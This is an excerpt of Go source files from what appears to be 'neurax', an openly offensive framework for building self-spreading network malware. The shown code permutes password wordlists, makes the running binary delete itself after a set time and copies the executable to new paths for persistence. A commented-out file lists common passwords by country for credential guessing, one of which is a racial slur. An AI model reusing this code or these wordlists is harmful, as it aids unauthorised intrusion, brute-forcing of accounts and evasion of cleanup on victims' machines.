863 | func (nrx *Nrx) WordlistPermute(words ...string) []string {
864 | res := make([]string, 0, len(words))
865 | permuted := ""
866 | sep := nrx.cfg.WordlistPermuteSeparator
867 | for _, word := range words {
868 | curPermLen := len(strings.Split(permuted, sep))
869 | selected := cf.RandomSelectStr(words)
870 | if !strings.Contains(permuted, selected) && curPermLen < nrx.cfg.WordlistPermuteNum {
871 | permuted += word + sep + selected + sep
872 | res = append(res, permuted)
873 | }
874 | }
875 | return res[:]
876 | }
877 |
878 | // SetTTL sets TTL
879 | func (nrx *Nrx) SetTTL(interval string) {
880 | firstExec := time.Now()
881 | for {
882 | time.Sleep(time.Duration(10))
883 | passed := time.Since(firstExec).Seconds()
884 | if int(passed) > cf.IntervalToSeconds(interval) {
885 | nrx.PurgeSelf()
886 | }
887 | }
888 | }
889 |
890 | // Migrate migrates binary from currant path to path
891 | func (nrx *Nrx) Migrate(path string) error {
892 | currentPath, _ := filepath.Abs(filepath.Dir(os.Args[0]))
893 | if strings.Contains(currentPath, path) {
894 | return nil
895 | }
896 | nrx.Debug("Migrating -> " + path)
897 | return cf.CopyFile(os.Args[0], path)
898 | }
899 |
--------------------------------------------------------------------------------
/neurax.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/redcode-labs/neurax/79d55d588a32af7d0900ebacbaef26f840c31618/neurax.png
--------------------------------------------------------------------------------
/passwd.go:
--------------------------------------------------------------------------------
1 | package neurax
2 |
3 | /*var CommonPasswords = []string{
4 | "123456",
5 | "123456789",
6 | "password",
7 | "qwerty",
8 | "12345678",
9 | "12345",
10 | "123123",
11 | "111111",
12 | "1234",
13 | "1234567890",
14 | "1234567",
15 | "abc123",
16 | "1q2w3e4r5t",
17 | "q1w2e3r4t5y6",
18 | "iloveyou",
19 | "123",
20 | "000000",
21 | "123321",
22 | "1q2w3e4r",
23 | "qwertyuiop",
24 | "yuantuo2012",
25 | "654321",
26 | "qwerty123",
27 | "1qaz2wsx3edc",
28 | "password1",
29 | "1qaz2wsx",
30 | "666666",
31 | "dragon",
32 | "ashley",
33 | "princess",
34 | "987654321",
35 | "123qwe",
36 | "159753",
37 | "monkey",
38 | "q1w2e3r4",
39 | "zxcvbnm",
40 | "123123123",
41 | "asdfghjkl",
42 | "pokemon",
43 | "football"}
44 |
45 | var CommonPasswordsCountries = map[string][]string{
46 | "pl": {"123456", "qwerty", "zaq12wsx", "123456789", "12345", "polska", "1234", "lol123", "mateusz", "111111", "marcin", "misiek", "damian", "bartek", "monika", "Pass12sa", "123qwe", "qwe123", "michal", "akrokis123", "patryk", "kacper", "maciek", "karolina", "123123", "12345678", "1qaz2wsx", "piotrek", "qwerty123", "daniel", "zxcvbnm", "lukasz", "samsung", "qazwsx", "golfcourse", "qwertyuiop", "adrian", "lolek123", "qwerty1", "password", "1234567890", "1234567", "mateusz1", "yOp7s55", "dupa", "agnieszka", "komputer", "myszka", "1q2w3e4r", "kasia", "kamil1", "polska1", "natalia", "matrix", "kamil123", "kochanie", "master", "1q2w3e", "madzia", "dragon", "000000", "bartek1", "aaaaaa", "klaudia", "666666", "kamil", "dominik", "1qazxsw2", "1111", "kasia1", "123321", "asdasd", "wojtek", "paulina", "szymon", "niunia", "polska123", "ziomek", "dupa123", "zaqwsx", "marcin1", "robert", "haslo", "misiaczek", "1234qwer", "abc123", "sebastian", "haslo1", "dominika", "dawid123", "mariusz", "dawid1", "michal1", "barcelona", "weronika", "kosama", "kuba123", "patrycja", "maniek", "justyna", "kamila", "pokemon", "1q2w3e4r5t", "pawel1", "konrad", "Groupd2013", "damian1", "tomek1", "komputer1", "widzew", "kamilek", "haslo123", "aaaa", "magda", "qweasd", "tomek", "marta", "piotrek1", "asdfgh", "11111", "asd123", "asdfghjkl", "sylwia", "kochamcie", "dawid", "654321", "ewelina", "wiktoria", "pakistan", "kocham", "dawidek", "patryk1", "lolek", "misiek1", "kotek", "q1w2e3r4", "123456a", "monika1", "teg4ka1P5U", "lolek1", "sandra", "pawel", "polska12", "adidas", "maciek1", "andrzej", "87654321", "qazxsw", "przemek", "kacper1"},
47 | "hu": {"123456", "63245009", "faszfej1", "123456789", "84569280", "12345", "jelszo", "83773049", "asdasd", "29662012", "attila", "12345678", "qwertz", "000000", "asd123", "7732844", "111111", "zolika", "liba01", "tomika", "52145874", "macska", "lacika", "1234", "asdfgh", "danika", "samsung", "tigris", "szerelem", "16912194", "8933959", "csemege6", "password", "eszter", "szeretlek", "killer", "macika", "666666", "sarkany10", "barcelona", "malacka", "yamahar1", "petike", "dominik", "nemtudom", "asdasdasd", "garfield", "ronaldo", "dragon", "5324353", "patrik", "1234567", "ferrari", "unqnkmol03", "valami", "levente", "gabika", "janika", "fradika", "nemtom", "viktor", "cicamica", "balazs", "csillag", "Predator", "kicsim", "dominika", "roland", "juventus", "sanyika", "arsenal", "martin", "zsolti", "delfin", "farkas", "nyuszi", "mazsola", "q1w2e3r4", "bence", "nincsen", "012345", "manoka", "bilbao1", "1q2w3e4r", "almafa", "mester", "monika", "aaaaaa", "realmadrid", "citrom", "budapest", "csabika", "genius", "856169", "asdasd123", "nhjaqhoc43", "viktoria", "suzuki", "kecske", "madrid", "melinda", "robika", "adidas", "qwert", "matrix", "pamacs", "diablo", "macilaci", "freemail", "11111", "xxxxxx", "starwars", "654321", "andrea", "csilla", "eminem", "magyar", "vivien", "balint", "chelsea", "tappancs", "katica", "titkos", "slipknot", "Thomas92", "latoska", "manocska", "55555", "00000", "internet", "narancs", "erikbaba", "szabolcs", "yamaha", "fradi", "asdfghjkl", "lilike", "sziszi", "katalin", "ildiko", "abc123", "daniel", "david", "kriszti", "lofasz", "rebeka", "zoltan", "nikolett", "szilvi", "norbert"},
48 | "fr": {"123456", "123456789", "1234561", "azerty", "1234567891", "qwerty", "123", "azertyuiop", "marseille", "doudou", "loulou", "12345", "000000", "123451", "password", "12345678", "1234", "soleil", "nicolas", "chouchou", "1234567", "bonjour", "111111", "iloveyou1", "123123", "thomas", "camille", "motdepasse", "coucou", "iloveyou", "12345671", "julien", "jetaime", "naruto", "maxime", "alexandre", "chocolat", "1234567890", "0000", "dragon", "portugal", "pierre", "00000", "isabelle", "antoine", "marine", "oceane", "romain", "654321", "mar", "sandrine", "football", "olivier", "caroline", "nathalie", "vincent", "pompier", "123456781", "celine", "valentin", "caramel", "wxcvbn", "Status", "azerty123", "boubou", "maison", "elodie", "sophie", "anthony", "quentin", "aze", "benjamin", "aurelie", "vanille", "audrey", "alexis", "clement", "emilie", "cheval", "chipie", "666666", "0123456789", "marion", "987654321", "pauline", "princesse", "laurent", "pokemon", "amandine", "morgane", "12345678901", "louloute", "NULL", "melanie", "secret", "sebastien", "stephane", "159753", "6543211", "florian", "mathilde", "france", "papillon", "mohamed", "michel", "mathieu", "voiture", "frederic", "nounours", "qwerty1", "arthur", "junior", "jerome", "aaaaaa", "philippe", "amour", "guillaume", "tintin", "qwertyuiop", "bhf", "nathan", "jordan", "scorpion", "bou", "poisson", "lolita", "melissa", "justine", "virginie", "charlotte", "juliette", "toulouse", "patrick", "vanessa", "sandra", "sabrina", "laetitia", "password1", "mamour", "789456", "cedric", "jeremy", "daniel", "jonathan", "1111111", "damien", "121212", "noisette", "nounou", "delphine"},
49 | "ru": {"123456", "123456789", "qwerty", "1q2w3e4r5t", "qwertyuiop", "12345678", "111111", "1q2w3e4r", "1234567890", "123123", "qwerty123", "123321", "1234567", "1qaz2wsx", "1234qwer", "12345", "qweasdzxc", "qazwsxedc", "666666", "000000", "123qwe", "7777777", "1q2w3e", "gfhjkm", "qazwsx", "zxcvbnm", "123456789a", "123qweasdzxc", "1q2w3e4r5t6y", "q1w2e3r4", "qwe123", "654321", "12345qwert", "qwer1234", "555555", "159753", "asdfghjkl", "qwertyui", "q1w2e3r4t5", "123456789q", "123123123", "121212", "123qweasd", "12qwaszx", "1qazxsw2", "987654321", "1234", "1qaz2wsx3edc", "123qwe123", "112233", "password", "tresd5", "777777", "crossfire", "ghbdtn", "11111111", "123456a", "zxcvbn", "123654", "123456q", "qwerty12345", "qazwsx123", "4815162342", "q1w2e3r4t5y6", "12344321", "qweasd", "222222", "159357", "1234554321", "1111111", "0987654321", "asdfgh", "qwerty123456", "131313", "asdasd", "samsung", "nikita", "qweqwe", "q1w2e3", "12345q", "qwerty12", "qqqqqq", "789456123", "qwerty1", "qwaszx", "88888888", "qweasdzxc123", "qazwsxedcrfv", "12345678910", "999999", "12345678a", "1029384756", "123456789z", "qwertyu", "147258369", "qwert12345", "1234567q", "123456qwerty", "qazxswedc", "789456", "stalker", "333333", "1111", "qwerasdf", "1234567890q", "qazwsxedc123", "nastya", "qazxsw", "12345678q", "11223344", "1234567a", "12345a", "fyfcnfcbz", "iloveyou", "qwe123qwe", "fktrcfylh", "asdfghjk", "marina", "12341234", "qwert", "1q2w3e4r5t6y7u", "vfrcbv", "1q2w3e4r5", "qwertyqwerty", "zaq12wsx", "fylhtq", "101010", "1qa2ws3ed", "master", "kifj9n7bfu", "11111", "123654789", "q123q123", "vfhbyf", "123qwe123qwe", "qweasd123", "1111111111", "killer", "111222", "aaaaaa", "sergey", "010203", "zzzzzz", "123321q", "888888", "12345qwe", "secret666", "87654321", "147852369", "zxc123"},
50 | "th": {"123456", "123456789", "1234", "12345678", "1234567890", "password", "111111", "1234567", "999999", "999999999", "987654321", "0123456789", "12345", "0987654321", "000000", "654321", "221225", "112233", "123123", "asd123456", "1212312121", "1111111111", "555555", "0000000000", "11111111", "16859537", "44307644", "159753", "9876543210", "lovelove", "thailand", "123456789a", "666666", "789456123", "jack16599", "zxcvbnm", "88888888", "147258369", "1122334455", "25242524", "thai123", "123456789za", "9999999999", "11223344", "12341234", "741852963", "7777777", "888888", "987654", "0123456", "00000000", "222222", "iloveyou", "liverpool", "123456a", "147852369", "252525", "456789", "0884351966", "1475", "99999999", "212224", "25232523", "789456", "111111111", "123123123", "159357", "loveyou", "25262526", "55555", "zqq7784", "123456za", "25219621", "444444", "Bapichat123456", "123456789z", "1q2w3e4r", "25222522", "147852", "212224236", "87654321", "2222222222", "2522", "za123456", "012345", "10081997TICK", "1234512345", "25252525", "2520", "25292529", "333333", "a123456789", "25162516", "55555555", "zxcvbn", "0935910995", "123321", "12345678910", "123789", "1qaz2wsx", "25362536", "27112537", "7654321", "Bas3bal!", "Mater555", "joeyboy2012", "mth99007806", "012524PTC", "101010Bee", "121212", "1234567891", "131313", "25202520", "25272527", "25302530", "313326339", "3571138", "44444444", "5555555", "777777", "963852741", "abc123", "dragon", "qazwsx", "1111", "111222", "111222333", "123654", "135790", "147258", "25132513", "2514", "2516", "25182518", "5555555555", "963852", "ann23102521", "pop2512", "qwerty", "tent91257", "246810", "456123", "LOVE0909", "a123456", "asdfghjkl", "0873029756", "098765", "11111", "12344321", "140136"},
51 | "es": {"123456", "123456789", "12345678", "password", "mustang73", "1234abcd", "1234", "12345", "america", "1234567", "gallito", "qwerty", "alejandro", "pokemon", "carlos", "mexico", "111111", "daniel", "123456qwe", "1234567890", "chivas", "123123", "dragon", "alejandra", "fernando", "000000", "654321", "estrella", "naruto", "andrea", "manuel", "princesa", "caca", "superman", "cruzazul", "666666", "fernanda", "eduardo", "monica", "abc123", "adriana", "daniela", "javier", "CFE2015", "miguel", "ricardo", "rental", "camila", "carolina", "sard", "claudia", "valeria", "alberto", "antonio", "mariana", "sebastian", "corazon", "contraseña", "roberto", "sandra", "chocolate", "123qwe", "hola", "jessica", "martinez", "furuyanomori", "lupita", "metallica", "arturo", "santiago", "123456a", "america1", "bonita", "gabriela", "mauricio", "BRITISH2015", "master", "joseluis", "karina", "angelica", "elizabeth", "sergio", "victor", "123abc", "brenda", "francisco", "musica", "spiderman", "delfin", "hernandez", "aguilas", "andres", "angelito", "pancho", "ximena", "zxcvbnm", "sakura", "flores", "gabriel", "carlitos", "xbox360", "barcelona", "adrian", "isabel", "junior", "qwertyuiop", "121212", "gatito", "killer", "veronica", "159753", "1q2w3e4r", "emiliano", "escorpion", "hector", "lorena", "paulina", "pikachu", "chavez", "liliana", "marisol", "pelusa", "angeles", "lol123", "minecraft", "nirvana", "patito", "armando", "987654321", "leonardo", "pamela", "101010", "aguila", "alexis", "asdf", "gerardo", "555555", "castillo", "cristo", "pollito", "angel", "amorcito", "carmen", "alfredo", "cristina", "familia", "1qaz2wsx", "amores", "conejo", "7777777"},
52 | "de": {"123456", "123456789", "12345678", "passwort", "qwerty", "hallo123", "12345", "1234", "hallo", "1234567", "huhbbhzu78", "password", "ficken", "killer", "1q2w3e4r", "qwertz", "lol123", "schalke04", "master", "1234567890", "dennis", "daniel", "alexander", "111111", "fussball", "schatz", "arschloch", "123123", "1234561", "schalke", "michael", "starwars", "computer", "werder", "abc123", "wasser", "andreas", "florian", "internet", "michelle", "sommer", "berlin", "000000", "asdfgh", "sandra", "pokemon", "marcel", "Passwort", "thomas", "hamburg", "dragon", "christian", "bayern", "geheim", "handball", "dortmund", "666666", "ichliebedich", "sebastian", "patrick", "tobias", "nicole", "martin", "bushido", "sascha", "stefan", "asdasd", "fabian", "dominik", "1q2w3e4r5t", "jasmin", "justin", "logitech", "eminem", "benjamin", "maximilian", "sabrina", "yxcvbnm", "samsung", "SKIFFY", "1234qwer", "markus", "schule", "hallo1", "pascal", "merlin", "nadine", "1234567891", "1qay2wsx", "snoopy", "moritz", "medion", "lollol", "playboy", "123qwe", "vanessa", "mercedes", "matrix", "philipp", "oliver", "wertz123", "sunshine", "hurensohn", "Hallo123", "borussia", "passwort1", "aaaaaa", "schatzi", "sonnenschein", "blabla", "info", "werner", "fcbayern", "charly", "q1w2e3r4", "marvin", "jennifer", "niklas", "asdf1234", "iloveyou", "julian", "asdf", "qwer1234", "andrea", "melanie", "porsche", "kennwort", "johannes", "deutschland", "987654321", "123321", "infoinfo", "sternchen", "jessica", "1q2w3e", "sabine", "1111", "654321", "Status", "hamster", "matthias", "slipknot", "onkelz", "vergessen", "asdfghjkl", "steffi", "minecraft", "manuel", "fickdich", "asd123"},
53 | "se": {"123456", "okthandha", "webhompass", "hejsan", "hejsan123", "hejhej", "lol123", "123456789", "qwerty", "guntles99", "hejhej123", "123123", "bajskorv", "abc123", "mamma123", "password", "hej123", "sommar", "dinmamma", "helena", "12345", "kalleanka", "12345678", "malin", "6435", "7546", "3182", "5324", "8657", "alexander", "fotboll", "qwe123", "123qwe", "hemligt", "9768", "asdasd", "rasmus", "lolipop", "kalle123", "1234", "anders", "mamma", "4293", "hammarby", "111111", "daniel", "killer", "bajs123", "sverige", "helene", "starwars", "blomma", "helen", "qwerty123", "123qweasd", "cocacola", "hejhej1", "helloo", "1q2w3e4r", "margareta", "asdasd123", "lollol", "andreas", "asd123", "hejhejhej", "godis", "mamma1", "sweden", "amanda", "hanna", "bajsbajs", "oliver", "johanna", "martin", "william", "master", "8757", "6535", "smulan", "dragon", "1234567", "3282", "katten", "qwer1234", "trustno1", "wickedwitch", "apa123", "dinmamma1", "121212", "andersson", "linnea", "samsung", "jakjak", "bajs", "jessica", "hampus", "123abc", "2971", "4313", "123123123", "elisabeth", "gnaget", "internet", "1qaz2wsx", "666666", "fredrik", "mormor", "5424", "marianne", "sebastian", "marcus", "frida", "gustav", "barnsemester", "mikael", "1868", "asdfasdf", "asdqwe123", "123321", "dennis", "findus", "handboll", "kungen", "stockholm", "zxcvbnm", "neger123", "mammamia", "2871", "lolipop1", "tstpsw", "emelie", "morris", "2879", "johan", "losenord", "metallica", "1q2w3e", "innebandy", "pokemon", "silver", "lilleman", "mattias", "7646", "kalle", "apelsin", "hejsan1", "112233", "charlie", "dinmamma123", "nisse"},
54 | "hi": {"123456", "Indya123", "123456789", "1234567Qq", "password", "12345", "12345678", "indya123D", "1234", "10577", "krishna", "zxcvbnm", "1234567", "indian", "111111", "sairam", "computer", "qwerty", "iloveyou", "1qaz", "123123", "1234567890", "abc123", "ganesh", "saibaba", "sachin", "mother", "abcd1234", "india123", "lakshmi", "welcome", "654321", "aicte@123", "iloveu", "786786", "expert12", "friends", "tabasum786", "sweety", "abcdef", "jaimatadi", "rajesh", "omsairam", "anjali", "priyanka", "hanuman", "7024371253", "police123", "000000", "sanjay", "samsung", "ramesh", "suresh", "deepak", "aaaaaa", "balaji", "asdfgh", "friend", "hariom", "manish", "aditya", "sandeep", "Password", "asdfghjkl", "success", "lovely", "cricket", "abhishek", "prasad", "cutecatvip", "jasmine", "flower", "prakash", "engineer", "999999", "poonam", "sandhya", "sharma", "prince", "666666", "987654321", "master", "pass2512", "santosh", "venkat", "archana", "manisha", "never", "vijaya", "chennai", "kumar", "simran", "rashmi", "karthik", "ashish", "qwertyuiop", "asdf1234", "mahesh", "rakesh", "sriram", "qwer1234", "internet", "passion", "khushi", "Mango123", "sweetheart", "vishal", "kannan", "waheguru", "143143", "creative", "chandra", "bharat", "naveen", "chinnu", "praveen", "srinivas", "kavitha", "babynaaz123", "pradeep", "555555", "aaaaaaaa", "indya123", "welcome123", "ganesha", "ramram", "dinesh", "sunita", "bangalore", "admin123", "preeti", "radhika", "bismillah", "test", "mechanical", "nikhil", "redrose", "yamaha", "secret", "shilpa", "loveyou", "anitha", "chinna", "loveme", "kalpana", "pankaj", "superman", "vijay", "doctor", "vishnu"},
55 | }*/
56 |
--------------------------------------------------------------------------------